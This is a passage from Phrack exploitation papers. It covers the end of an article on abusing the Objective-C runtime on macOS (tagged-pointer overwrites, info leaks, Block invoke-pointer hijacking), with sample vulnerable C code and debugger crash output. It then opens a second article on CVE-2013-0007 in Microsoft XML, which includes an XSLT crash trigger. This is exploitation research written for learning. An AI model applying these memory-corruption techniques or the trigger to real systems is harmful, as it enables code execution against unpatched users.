At the moment when we gain execution control using this technique a register value contains the SEL pointer value. We can use this fact to our advantage. For example, for 32‑bit code, the following gadget could take advantage of this.

00000000 89C8 mov eax,ecx 00000002 5E pop esi 00000003 5D pop ebp 00000004 C3 ret

The gadget above moves the SEL pointer value into the eax register, obviously on function return this register is treated as the return value. Next it restores EBP from the stack and uses the ret instruction to return from the function. This results in, rather than the expected return value for whatever Objective‑C method was dangling, the SEL value is returned.

This is only a useful approach if we are able to retrieve the value from this context and utilize it to re‑trigger the bug. In the example code provided, the use of this gadget causes the SEL value to be printed, rather than the length of the NSString which is intended. You can see the result of this below.

‑[nemo@objcbox:code]$ ./leak

[+] buckets is 0x10000000 size.

[+] cacheentry is 0x30000000 size.

[+] Setting up buckets

[+] Done

[+] Class @ 0x78622240

[+] Overwriting object

[+] Calling method

String length: 0x93371b88

Likewise, in some cases it may not make sense to return the SEL directly. If it is not possible to retrieve the leaked value upon return it may make more sense to execute a gadget which writes ecx somewhere in memory. For example in a web browser context, writing the ecx register into a JavaScript array which is attacker controlled may result in the ability to "collect" this value from JavaScript context and re‑trigger the bug.

‑‑‑‑[ Self Modifying ROP

Another potential use of the single gadget execution primitive is to use the ecx register containing SEL to modify the rest of a ROP chain prior to pivoting to use it.

I have never personally been successful with this, however I have seen this done in a friends exploit.

Finding a gadget which accomplishes all this is extremely challenging.

‑‑‑‑[ Arbitrary Write Gadget

The final method for using a single gadget to continue the exploitation process is to turn the execution primitive into an arbitrary write primitive.

It is usually fairly straight forward to find a gadget which allows you to write any high value to a fixed location. By positioning something at this location (eg 0x0d0d0d0d) this single write can be leveraged to escalate the available functionality. For example, in a web context. Positioning a JavaScript array or string at this location then writing to the length field can be enough to gain an arbitrary read/write primitive from JavaScript. This is easily enough to finish the exploitation process.

Outside of the browser context there are still a variety of length encoded data types which can be used for this. Specifically to Objective‑C, the NSMutableArray/NSArray classes work this way.

‑‑[ Tagged Pointers

One of the new features added to the Objective‑C runtime is the usage of "tagged pointers" to conserve resources. Tagged pointers take advantage of the fact that the system memory allocator will align pointers handed out on natural alignment boundaries. This means that the low bit will never be set.

(lldb) print (long)malloc_good_size(1)

(long) $0 = 16

The runtime takes advantage of this lower bit in order to indicate that the pointer value is not to be treated as a regular pointer, and instead, bits 61‑63 are used as an index into a table of potential ISA pointers, registered with the system. This means the first 60 bits can then by used to store the object payload itself inline.

Tagged pointer layout

11111111 11111111 11111111 11111111 11111111 11111111 11111111 1111[111][1]

tag

index

As mentioned, index bits index into a table of potential object types. The default types registered with the runtime is shown below.

OBJC_TAG_NSAtom = 0,

OBJC_TAG_1 = 1,

OBJC_TAG_NSString = 2,

OBJC_TAG_NSNumber = 3,

OBJC_TAG_NSIndexPath = 4, OBJC_TAG_NSManagedObjectID = 5,

OBJC_TAG_NSDate = 6,

OBJC_TAG_7 = 7

It is possible for a developer to add their own types to the table, however it is very uncommon for anyone to do this. The guide at [3] clearly illustrates the mechanics of tagged pointers, if you require more information.

Now that we've looked at how tagged pointers work, we will investigate some of them from an exploitation perspective.

‑‑‑‑[ Tagged NSAtom

NSAtom is an extremely handy object type for exploitation. In order to use a tagged NSAtom, we simply need the low bit set indicating a tagged pointer, and then no bits set in the index bits. The value 0x1 by itself for example will satisfy this. The beautiful thing about the NSAtom class is that calling any method name on this class will result in success.

The example code below simply calls the method initWithUTF8String on the object 0x1. Clearly this is not a valid pointer, and instead is treated as an NSAtom. Any method name could be used and the result would still be 1.

int main(int argc, const char * argv[])

{

printf("[+] NSAtom returned: %u\n",[1 initWithUTF8String:"lol"]); return 0;

}

$ ./nsatom

[+] NSAtom returned: 1

As you can imagine, this behavior can be extremely useful for CoE or general exploitation. An example scenario would be, if you are forced to write through several Objective‑C object pointers on the path to an overwrite target, any method call on those objects would require valid pointers/fake object setup. However with the NSAtom tagged pointer type, simply replacing these pointers with the value 0x1 can be enough to stop the crash and take advantage of the overwrite target.

Also, in extremely specific cases, the fact that this object returns true can be used to manipulate the path of the program.

‑‑‑‑[ Tagged NSString

The next tagged pointer type we will investigate is the tagged NSString. With the new runtime, when a NSString is created, the size of the string during initialization dictates the type of storage for the string.

String which are greater than 7 bytes in length are stored on the heap in a typical Objective‑C NSString object. However, for strings of 7‑bytes or less, a tagged pointer with the index 2 is used. The bitpattern for a tagged NSString is shown below. It is comprised of 7 bytes of string data, followed by 4 bits for the length, 3‑bit for the index into the tagged pointer types array and finally the low bit to indicate tagged pointer type.

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ String Data ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> 11111111111111111111111111111111111111111111111111111111[1111][010][1]

strlen]<‑‑‑‑> | |

tag

index: 02

The first scenario in which we can abuse the properties of a tagged NSString is a partial overwrite into an untagged NSString. The example code included with this paper (nsstring1.m) demonstrates this.

In this code (shown below) we create an NSString (s) using the C string contents "thisisaverylongstringnottagged". Since this is not 7 or less bytes in length this string is stored on the heap, and the object pointer points to this.

We use the character pointer (ptr) to simulate a 1 byte write into the least significant byte of the object pointer. This condition can occur from either a controlled overflow, or an actual 1 byte off‑by‑one.

We write the value 0xf5 to this byte, and then print the length and contents of the string.

int main(int argc, const char * argv[])

{

NSString *s = [[NSString alloc] initWithUTF8String:"thisisaverylongstringnottagged"]; char *ptr = (char *)&s;

*ptr = 0xf5; // NSString Tagged

printf("[+] NSString @ 0x%lx\n",(unsigned long)s); printf("[+] String length: 0x%lx\n",(unsigned long)[s length]); NSLog(@"%@",s);

return 0;

}

The value 0xf5 in the least significant byte has the following bit pattern:

[1111][010][1]

As you can see, this leaves us with a string length of 0xf, an index of 0x2 and the LSB set to indicate a tagged pointer.

By only using a partial overwrite, we have left the first 7 bytes of the pointer untouched.

As you can see from the output below, the length of the string is 0xf (15) after this overwrite. This means that when the NSLog() attempts to print the string contents, 15 bytes of data are pulled out starting from the inline data. This leaks the address of the object. If our target allows us to retrieve a string value and use it, we can turn a one byte overwrite into an info leak primitive.

$ ./nsstring1

[+] NSString @ 0x7fc0db4116f5

[+] String length: 0xf

2015‑04‑04 07:47:26.815 nsstring1[13335:92489992] eeeeeee 3eIjuaj

The next scenario which we will investigate involves overflowing into a tagged NSString, rather than an un‑tagged variant. The example code nsstring2.m demonstrates this.

In this code, we initialize an NSString with the contents "AAAAAAA". Since this is only 7 bytes of c‑string it guarantees that the NSString will be a tagged type. This means it will contain the value:

0x4141414141414175

Essentially the first 7 bytes are taken up with our "A" contents. The last byte contains the length (7) followed by the bitpattern to indicate NSString type of tagged pointer.

Next, we once again simulate a single byte overflow into the object pointer. This time we write the value 0x00, which is a common primitive in real life due to off‑by‑one string operations. This forcefully unsets the tagged LSB in the pointer, turning the tagged string into an un‑tagged type.

Finally we call the length method on the object.

int main(int argc, const char * argv[])

{

NSString *s = [[NSString alloc] initWithUTF8String:"AAAAAAA"]; char *ptr = (char *)&s;

*ptr = 0x00; // un‑tag

printf("[+] NSString @ 0x%lx\n",(unsigned long)s); printf("[+] String length: 0x%lx\n",(unsigned long)[s length]); NSLog(@"%@",s);

return 0;

}

As you can imagine, the runtime now treats our tagged object as untagged. This means that the tagged pointer is now treated as a real pointer. If we were able to control the contents of the NSString on initialization, this would present us with direct control over the object cache lookup, allowing us to use the construct presented earlier in the paper to turn this into code execution.

(lldb) r

Process 13636 launched: './nsstring2' (x86_64)

[+] NSString @ 0x4141414141414100

Process 13636 stopped

* thread #1: tid = 0x5834fc3, 0x00007fff96c210d7 libobjc.A.dylib`objc_msgSend + 23, queue = 'com.apple.main‑thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)

frame #0: 0x00007fff96c210d7 libobjc.A.dylib`objc_msgSend + 23 libobjc.A.dylib`objc_msgSend + 23:

‑> 0x7fff96c210d7: andq (%rdi), %r11

0x7fff96c210da: movq %rsi, %r10

0x7fff96c210dd: andl 0x18(%r11), %r10d 0x7fff96c210e1: shlq $0x4, %r10

(lldb) reg read rdi

rdi = 0x4141414141414100

‑‑‑‑[ Tagged NSNumber

As you can imagine, the NSNumber case is very similar to that of the NSString. Any number value which can be contained in the first 7 bytes of the pointer is stores inline as a tagged NSNumber, rather than performing an allocation and storing the number on the heap.

The sample code nsnumber1.c demonstrates,once again, a single byte overwrite into a tagged pointer, containing an inline nsnumber.

In this code, we begin by instantiating an NSNumber containing the value 0xdeadbeeffeedface. The contents of this number are unimportant, however clearly the number is large enough that it would not fit into the upper bytes of a tagged pointer, therefore this NSNumber is stored on the heap in typical Objective‑C fashion.

Next, we write the value 0xf7 to the lower byte of the object pointer. Once again this converts the un‑tagged object pointer into a tagged type, while leaving the upper bits in‑tact. Finally, we log the contents of the number using the method unsignedLongLongValue.

int main(int argc, const char * argv[])

{

NSNumber *n = [NSNumber numberWithInteger:0xdeadbeeffeedface]; char *ptr = (char *)&n;

*ptr = 0xf7;

NSLog(@"0x%lx\n",(unsigned long)[n unsignedLongLongValue]); return 0;

}

As you can see from the output below, rather than printing the initialized contents (0xdeadbeeffeedface) the NSLog call displays the object pointer value itself, once again creating an information leak of this value.

$ ./nsnumber1

2015‑04‑04 09:26:58.701 nsnumber1[14663:92514549] 0x7fd6134116

The final tagged pointer example nsnumber2.m demonstrates the counter case to this. In this code an NSNumber is instantiated containing the value 0x0041414141414141. As you can see from the leading NULL byte, this value is small enough that it fits within the first 7 bytes of the object pointer. Therefore, this object is created as a tagged pointer with the value:

0x4141414141414107

We once again truncate the final byte using a character pointer, removing the tagged bit before calling a method on it (unsignedLongLongValue).

int main(int argc, const char * argv[])

{

NSNumber *n = [NSNumber numberWithInteger:0x0041414141414141]; char *ptr = (char *)&n;

*ptr = 0x00;

NSLog(@"0x%lx\n",(unsigned long)[n unsignedLongLongValue]); return 0;

}

When the method call is made, the runtime treats the numbers contents as a pointer, and leaves us with a dangling Objective‑C message send call, which we can once again abuse to control execution.

Process 14636 launched: './nsnumber2' (x86_64)

Process 14636 stopped

* thread #1: tid = 0x583a67f, 0x00007fff96c210d7 libobjc.A.dylib`objc_msgSend + 23, queue = 'com.apple.main‑thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)

frame #0: 0x00007fff96c210d7 libobjc.A.dylib`objc_msgSend + 23 libobjc.A.dylib`objc_msgSend + 23:

‑> 0x7fff96c210d7: andq (%rdi), %r11

0x7fff96c210da: movq %rsi, %r10

0x7fff96c210dd: andl 0x18(%r11), %r10d 0x7fff96c210e1: shlq $0x4, %r10

(lldb) reg read rdi

rdi = 0x4141414141414100

‑‑‑‑[ Additional Tagged Types

The additional types in the table have very unique properties. I will leave it as an exercise to the reader to investigate each of these types for useful ways they can be used from an exploitation perspective.

‑‑[ Blocks

So, Apple being Apple, decided the tried and tested C standard wasn't good enough for their magical super fantastic operating system and went ahead and modified it. They did this by adding a new construct called Blocks.

For anyone familiar with the concept of an anonymous function reference in Perl, or a lambda function in Python, this is essentially what a Block is. You can read about blocks in detail in Apple's guide [4]. TL;DR though, a block basically uses the "^" operator to declare a special type of function pointer where the body of the function can be defined inline. This is mostly a syntactic feature, but has a few runtime uses as well. They can be passed to other functions just like a function pointer, and can access global data, or data relative to the current executing state they are defined in. Syntactically blocks are very similar to ecmascript Closures, however internally they function a little differently as you'll see.

‑‑[ Sample Block Code

Ok let's take a look at how Blocks are defined. Apple's guide [4] provides the following little example code:

int main(int ac, char **av)

{

int multiplier = 7;

int (^myBlock)(int) = ^(int num) {

return num * multiplier;

};

printf("%d\n", myBlock(3));

}

As you can see, this code defines a block called myBlock which takes an integer argument "num" and multiplies it with a value "multiplier" taken from the stack of the main function where the block was declared.

The myBlock Block is then called passing the value 3. As expected when executed the block is entered and returns the multiplication of 7 * 3.

‑[dcbz@squee:~/code/blocks]$ gcc block.c ‑o block ‑[dcbz@squee:~/code/blocks]$ ./block

21

Note, nothing fancy is needed to compile this, Apple's built in compiler supports Blocks out of the box.

At first glance, i expected this feature to be syntactical only. I thought the compiler would create a function, and then just add a single call instruction in the appropriate places. Or maybe a function pointer if reassignment was required. However if we walk through the assembly listing for this trivial program we can see that is not even close to the case.

First we have the basic function prologue as expected...

EntryPoint:

push rbp ; XREF=0x100000e2f mov rbp, rsp

sub rsp, 0x50

Next argv/argc are moved into stack variables.

mov rax, rsi

mov ecx, edi

mov dword [ss:rbp‑0x50+var_76], ecx

mov qword [ss:rbp‑0x50+var_64], rax

The value 0x7 is stored in a stack variable to be referenced by the Block. This it the "multiplier" variable.

mov dword [ss:rbp‑0x50+var_12], 0x7

Ok now we come to the meat of the Block implementation. As you will see, there's a little bit of code here, much more than expected. Before we continue tracing it we need to understand a little bit more about Block internals.

The free chapter from the book Advanced Mac OS X Programming: The Big Nerd Ranch Guide [5] has a really nice write up on the internals of Blocks which makes this next bit really clear.

Basically there are two structures defined for every Block created, the block_descriptor and block_literal as well as the function containing the actual byte‑code implementation of the Block.

The block literal structure is the most important structure for us to understand. Majority of the assembly listing we are tracing is used to populate this structure appropriately. The definition for the structure is shown below:

struct block_literal_NAME {

void *isa;

int flags;

int reserved;

void (*invoke)(void *literal, ...); struct block_descriptor_NAME *descriptor; /* referenced captured variables follow */

};

Basically, the use of this structure is to turn our Block into a pseudo objective‑c object. As you can see the typical 'isa' pointer at offset 0 contains a pointer to the base class struct for the object.

In the listing below, we can see that the block_literal struct is being created at offset rbp‑0x50+var_16. The ISA pointer is populated with a pointer to the class "NSConcreteStackBlock".

lea rax, qword [ss:rbp‑0x50+var_16]

mov rcx, qword [ds:imp___got___NSConcreteStackBlock] lea rcx, qword [ds:rcx]

mov qword [ss:rbp‑0x50+var_16], rcx

As described in [5], this class indicates that the Block is to be stored on the stack. Other possible alternative base classes are: NSConcreteGlobalBlock for global Blocks, NSConcreteMallocBlock for heap based Blocks, NSConcreteAutoBlock for Blocks affected by garbage collection and NSConcreteFinalizingBlock for blocks which have a "finalizer"/destructor which must be run apon garbage collection. Cross referencing these class structs can give us a pretty good indication where Blocks are used in a binary, and also their location in memory at runtime.

mov dword [ss:rbp‑0x50+var_24], 0x40000000

The next element populated is the flags. I won't go into this too much because the write‑up at [5] covers it perfectly. The flags enum stores some meta information about the Block including garbage collection settings and whether or not the Block is global.

Next the reserved field is set to 0.

mov dword [ss:rbp‑0x50+var_28], 0x0

The main_block_invoke_1 function is the invoke() method for this Block. It basically contains the compiled instructions for the block itself. As you will see it is called later when the Block is executed.

lea rcx, qword [ds:___main_block_invoke_1] mov qword [ss:rbp‑0x50+var_32], rcx

Earlier we discussed the fact that there are two structures for every Block. The second of these, the block descriptor is pre‑created at compile time and stored in the __data section.

lea rcx, qword [ds:___block_descriptor_tmp_1.1] mov qword [ss:rbp‑0x50+var_40], rcx

The struct definition is as follows:

static const struct block_descriptor_NAME { unsigned long reserved;

unsigned long literal_size;

/* helper functions ‑ present only if needed */

void (*copy_helper)(void *dst, void *src); void (*dispose_helper)(void *src);

};

Basically the only field we care about most of the time is the literal_size, which contains the total size of the block_literal. The other function pointers are only used in specific cases.

The rest of the block literal struct contains the arguments to invoke. A copy of the "multiplier" variable is copied into this struct.

mov ecx, dword [ss:rbp‑0x50+var_12]

mov dword [ss:rbp‑0x50+var_48], ecx

Now that the literal struct is populated, the code has to invoke the Block passing in the arguments. This is done by retrieving the invoke function pointer from the literal struct populated earlier.

I probably should have used an optimization flag when i compiled this, because the next couple of instructions are a little silly. A pointer to the block literal struct is moved into var_0, then moved back into rax...

mov qword [ss:rbp‑0x50+var_0], rax

mov rax, qword [ss:rbp‑0x50+var_0]

Next the invoke function pointer is moved into rax by dereferencing this pointer and adding 16 (0x10).

mov rax, qword [ds:rax+0x10]

The pointer to the block literal struct is then moved into rcx.

mov rcx, qword [ss:rbp‑0x50+var_0]

The value being passed to the Block in the printf() call (3) is temporarily moved to edx.

mov edx, 0x3 ; arg to block

The block_literal struct pointer is moved to rdi, which is the first argument in the x86_64 function calling convention (rdi,rsi,rcx,rdx).

mov rdi, rcx

The function argument (3) is then moved to esi as the second argument.

mov esi, edx

Finally the invoke() method is called. invoke(self,3) basically.

call rax

The rest of the assembly listing is just a call to printf to display the result, followed by the epilogue.

mov ecx, eax

xor dl, dl

lea rdi, qword [ds:0x100000f2c] ; "%d\\n" mov esi, ecx

mov al, dl

call imp___stubs__printf

mov eax, dword [ss:rbp‑0x50+var_60]

add rsp, 0x50

pop rbp

ret

As you can see, this process is fairly straight forward, so now that we understand it we can look at how to abuse it.

‑‑[ Exploitation

In order to demonstrate exploitation scenarios where these Blocks can be utilized i will start by modifying the example code to contain a trivial stack overflow.

int main(int ac, char **av)

{

int multiplier = 7;

int (^myBlock)(int) = ^(int num) {

return num * multiplier;

};

char buf[20];

if(ac != 2) {

printf("error: need 2nd arg\n"); exit(1);

}

strcpy(buf,av[1]);

printf("%s: %d\n", buf, myBlock(3));

exit(1);

}

As you can see, prior to the final printf() a call which copies the first argument to the program into a small stack buffer, without bounds checking, is added. I also added an exit(1); call to demonstrate that this program couldn't necessarily be exploited without utilizing the Block. This also applies to cases where stack cookies (‑fstack‑protection) are used.

As we saw in the previous example, the block_literal structure used will be stored on the stack. Also the myBlock pointer to this structure is stored on the stack in this case.

So what happens when we overflow the buf array in this case? Let's run it and see.

‑[dcbz@squee:~/code/blocks]$ gcc blockof.c ‑o of ‑[dcbz@squee:~/code/blocks]$ ./of

error: need 2nd arg

‑[dcbz@squee:~/code/blocks]$ ./of hello

hello: 21

‑[dcbz@squee:~/code/blocks]$ gdb ./of

(gdb) r `perl ‑e'print "A"x5000'`

Starting program: /Users/dcbz/code/blocks/of `perl ‑e'print "A"x5000'`

Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: 13 at address: 0x0000000000000000

0x0000000100000e4e in main ()

As you can see, running this program with a overly large argument overflows the stack based buffer and we get an EXC_BAD_ACCESS exception. For some reason gdb claims that it happened at address 0x0. However if we do some investigation:

(gdb) x/i $pc

0x100000e4e <main+158>: mov rax,QWORD PTR [rax+0x10]

(gdb) i r rax

rax 0x4141414141414141 4702111234474983745

We can see that the program is crashing dereferencing the block_literal struct pointer to retrieve the "invoke" pointer. (based on our previous understanding of the assembly listing.) This means we have overwritten the pointer to the block_literal struct with a series of 'A's (0x41). Because the pointer to the struct lies in front of the struct itself we are unable to modify the invoke pointer directly. Therefore we are left with a very similar construct to a C++ vptr dereference. We can exploit this in a very similar fashion.

The construct is essentially "call [ptr+0x10]", therefore we need to control memory at a known address in order to place a pointer to our shellcode, then we can use the address of this pointer minus 16 when we overwrite the block_literal struct pointer. This will result in execution flow being redirected to our shellcode. Another solution would be to replace the value of the invoke pointer with another block's invoke method or known function. Then utilize an argument mismatch in a favorable way. Both of these things have been documented numerous times so i'm not going to go into any more detail on this here. Although i will say, in order to control memory at a fixed location, a few techniques might be, to use the shared_region_map_file technique, or disable aslr/nx with posix_spawn for local issues, or use ROP/heapspray for remote issues.

Now that we've looked at the stack overflow case, let's look at what happens when the block_literal struct contents are on the heap.

To test this basically we can take the test stack overflow we looked at earlier, and this time move the destination of the strcpy() call to the heap.

In order to move the Block to the heap we have to utilize a function in the runtime architecture. Basically libSystem is linked to the block library: /usr/lib/system/libsystem_blocks.dylib. This library contains functions for manipulating and displaying Block information. One of the exported functions, "Block_copy" is used to create a copy of the block on the heap and return a pointer to it. This is typically used by functions that need to return a Block, since returning a pointer to a Block on the functions stack would be fail when the stack unwinds. The heap Block is then free()'ed via the Block_release function. To call these functions we need to include the header file "Block.h".

The Block_copy function checks what type of block is being passed to it. If the Block was allocated on the heap or .bss it simply returns the Block rather than making a copy. Otherwise a copy is placed on the heap and a pointer returned, as you can see in the example code below:

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <Block.h>

int main(int ac, char **av)

{

char *buf = malloc(20);

int multiplier = 7;

int (^stackBlock)(int) = ^(int num) {

return num * multiplier;

};

int (^myBlock)(int) = Block_copy(stackBlock); if(ac != 2) {

printf("error: need 2nd arg\n"); exit(1);

}

strcpy(buf,av[1]);

printf("%s: %d\n", buf, myBlock(3));

exit(1);

}

Now that we have some sample code, let's compile and run it and see where overflowing it gets us.

‑[dcbz@squee:~/code/blocks]$ gcc bh.c ‑o bh ‑[dcbz@squee:~/code/blocks]$ gdb ./bh

(gdb) r hi

Starting program: /Users/dcbz/code/blocks/bh hi

Reading symbols for shared libraries +............................. done

hi: 21

As expected running it with the string hi, prints the usual output, this time executing via the heap allocated Block. However if we pass a string of 500 'A's...

Program exited with code 01.

(gdb) r `perl ‑e'print "A"x500'`

Starting program: /Users/dcbz/code/blocks/bh `perl ‑e'print "A"x500'`

Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: 13 at address: 0x0000000000000000

0x0000000100000dc4 in main ()

(gdb) x/i $pc

0x100000dc4 <main+276>: call rax

(gdb) i r rax

rax 0x4141414141414141 4702111234474983745

As you can see we get a crash again, however this time rather than it dereferencing the block_literal pointer, we have overwritten the invoke() method pointer itself and have directly controlled eip.

As you can imagine both these cases are useful when trying to gain control of an overflow, especially in the case of stack or heap canaries, or an unreachable return.

‑‑[ Future Research ‑‑ Non Pointer ISA

Unfortunately, due to the fact that i'm trying to coordinate this paper release with my Infiltrate 2015 talk i am probably not going to have time to fully research this area prior to publication.

Basically in the Objective‑C runtime on the arm64 the ISA pointer can function as a tagged pointer as well. Due to the nature of the address space there are a significant number of unused bits in the pointer which contain an interesting amount of meta‑data. The write‑up at [6] clearly explains all this. I will leave the bit pattern below just in case you are interested. I am particularly eager to investigate the has_cxx_dtor attribute, as well as the sidetable reference counting information.

(LSB)

1 bit indexed

0 is raw isa, 1 is non‑pointer isa.

1 bit has_assoc

Object has or once had an associated reference. Object with no associated references can deallocate faster.

1 bit has_cxx_dtor

Object has a C++ or ARC destructor. Objects with no destructor can deallocate faster.

30 bits shiftcls

Class pointer's non‑zero bits.

9 bits magic

Equals 0xd2. Used by the debugger to distinguish real objects from uninitialized junk.

1 bit weakly_referenced

Object is or once was pointed to by an ARC weak variable. Objects not weakly referenced can deallocate faster.

1 bit deallocating

Object is currently deallocating.

1 bit has_sidetable_rc

Object's retain count is too large to store inline.

19 bits extra_rc

Object's retain count above 1. (For example, if extra_rc is 5 then the object's real retain count is 6.)

(MSB)

‑‑[ Conclusion

Well you made it to the end reader. Hopefully this was useful in some way! Writing is very painful...

Thanks for reading!

‑ nemo

‑‑[ References

[1] The Objective‑C Runtime: Understanding and Abusing http://phrack.org/issues/66/4.html

[2] Abusing Performance Optimization Weaknesses to Bypass ASLR http://www.cc.gatech.edu/~blee303/paper/BH_ASLR_slides.pdf

[3] ‑ Lets build tagged pointers: https://www.mikeash.com/pyblog/ \

friday‑qa‑2012‑07‑27‑lets‑build‑tagged‑pointers.html [4] Apple Block Conceptual http://developer.apple.com/library/ios/#documentation/cocoa/ \

Conceptual/Blocks/Articles/bxOverview.html#//apple_ref/doc/uid/ \

TP40007502‑CH3‑SW1

[5] Big Nerd Ranch Advanced Mac OS X Programming: Block http://www.informit.com/articles/article.aspx?p=1749598&seqNum=12

[6] Non‑pointer ISA http://www.sealiesoftware.com/blog/archive/2013/09/24/ \

objc_explain_Non‑pointer_isa.html

‑‑[ Appendix ‑ Source Code

begin 644 code.tgz M'XL(`)7]'U4``^U:6W/3.!3F‑?X5(CL%.VU:WYTV9:<EE%D&*`^!W9D‑F1W7

Self-patching Microsoft XML with misalignments and factorials

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x0a of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Art of Exploitation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑=[ Self‑patching Microsoft XML with misalignments and factorials ]=‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by Alisa Esage ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ hey@alisa.sh ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Maybe it says something about human nature,

that the only form of life we have created so far

is purely destructive."

‑‑ Stephen Hawking on computer viruses

"I've tried to imagine what it would be like

to be a newcomer [in vulnerability research] in current times

and it's a bit depressing..."

Aaron Portnoy for PHRACK

In this article a vulnerable Microsoft XML module is directed into invulnerable behavior by self‑serving a two‑byte inline memory patch through an arbitrary code execution opportunity.

‑‑[ Table of contents

1 ‑ Introduction

2 ‑ The vulnerability

2.1 ‑ The trigger

2.2 ‑ The impact vectors

2.3 ‑ Analyzing the crash

2.4 ‑ Estimating exploitability

2.5 ‑ Patch analysis and the root cause

3 ‑ The control

3.1 ‑ Inflating the stack 1: XSLT recursion

3.2 ‑ Inflating the stack 2: JavaScript recursion

3.4 ‑ Filling the memory 1: images

3.5 ‑ Filling the memory 2: integers

3.6 ‑ Recursion control

3.7 ‑ Program counter control

4 ‑ The self‑patch

4.1 ‑ A leak without a leak

4.2 ‑ The offset‑to‑value translation

5 ‑ Further work

6 ‑ Conclusion

7 ‑ Thanks

8 ‑ References

9 ‑ Code

‑‑[ 1 ‑ Introduction

As a 'new school' binary vulnerability researcher, I've found it somewhat challenging to learn the subject in the times when it's become highly commercialized, which pushed the detailed technical security advisories and technical analyses of regular vulnerabilities out of the public access. While this article presents a funny research in the first place, it was as well composed with beginner fellows in mind: aiming to summarize the various foundational skills, techniques, and thinking patterns required to analyze and control a modern and mundane, yet a somewhat off‑beat binary vulnerability. Besides revisiting the foundation, the article introduces a few pieces of novel information, such as Microsoft XML Core Services internals and some observations on heap spraying and stack manipulations with the latest Internet Explorer.

The article covers a comprehensive deep technical analysis and control of the remote code execution vulnerability in Microsoft XML Core Services, CVE‑2013‑0007, for the purpose of self‑patching. All the research and proof‑of‑concept prototyping were done with a deliberately synthetic platform, based on x86 Windows 7 with IE11 (which didn't even exist in the time of the vulnerability discovery), with all the updates installed but the one specific patch, and with the full page heap setting enabled for the target process.

Although the vulnerability is two years old, the research is totally relevant to the modern situation. The author is not aware of any public or private exploits, as well as technical analyses for the described vulnerability, which is actually quite interesting and unique. Regarding the vulnerable software, remote code execution bugs in Microsoft XML Core Services are not rare, if not under‑represented in public sources, as one was discovered by the low‑skilled author herself in late 2014 (CVE‑2014‑4118). Vulnerabilities in Microsoft XML may be highly critical because they allow not only for a drive‑by exploitation of the Internet Explorer, but also, for multiple impact vectors beyond the browser.

The code provided in this article is totally unreliable, guaranteed by the highly entropic nature of the vulnerability that causes the minimum 25% probability of an uncontrollable crash, as well as by superficial coding and testing choices. In addition, the statements concerning undocumented Windows internals were heavily based on debugging observations on a couple of testing systems, and should be verified with reverse engineering.

‑‑[ 2 ‑ The vulnerability

The vulnerability in question is a critical remote code execution bug in Microsoft XML Core Services, relevant to every edition of the Windows operating systems existing at the time of the discovery, according to the original security bulletin. It was patched in early 2013 with the Microsoft Security Bulletin MS13‑002 [1] and the update KB2757638 (on x86 Windows 7), that was later superseded with KB2939576.

Although the bug can be reproduced with the four major versions of the MSXML module (3, 4, 5, 6) that may co‑exist and even execute side by side on the target system, only version 6 is invoked by default on modern systems.

Version 3 is still present on default installations of Windows 7 and 8.1 for backward compatibility, contained within the module msxml3.dll, and may be invoked in the same script with version 6 by explicitly creating the "MSXML2.DOMDOCUMENT.3.0" ActiveXObject. Version 5 was shipped with Microsoft Office up to version 2007, and version 4 may be present on the system with 3rd party software as part of the obsolete MSO SDK. Additionally, some fuzzing efforts allowed us to deduce that versions 4, 5 and 6 are largely based on a shared code base, while version 3 has a distinctively different code with version‑specific bugs.

As the most actual version 6 is contained in the module msxml6.dll, all further references to Microsoft XML internals will refer to the module msxml6.dll of version 6.30.7600.16385.

‑‑[ 2.1 ‑ The trigger

The original crash inducing code published [2] without much details by the researcher was a piece of XSLT code:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

version="1.0">

<xsl:template name="main_template" match="/"> <xsl:for‑each select="*"> <xsl:apply‑templates/> </xsl:for‑each>

</xsl:template>

<xsl:template name="xxx_nonexistent" match="//xxx[position()]" />

</xsl:stylesheet>

XSLT is the standard extension to XML which serves to perform analysis and transformation of the given XML data according to the given rules, and is itself implemented in XML. This brings up the idea that the bug can possibly be triggered via any application that uses the XSL transformation functionality of the Microsoft XML Core Services.

‑‑[ 2.2 ‑ The impact vectors

After doing some research on the XSL transformation functionality in various Windows software, I've come up with the following draft table of theoretically possible impact vectors and tested some of them:

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|# | Target app | Technique | Testing comments |

|‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|1 | cscript | Call to MSXML ActiveX | | | | | method transformNode()| Crash (Windows 7) |

|‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

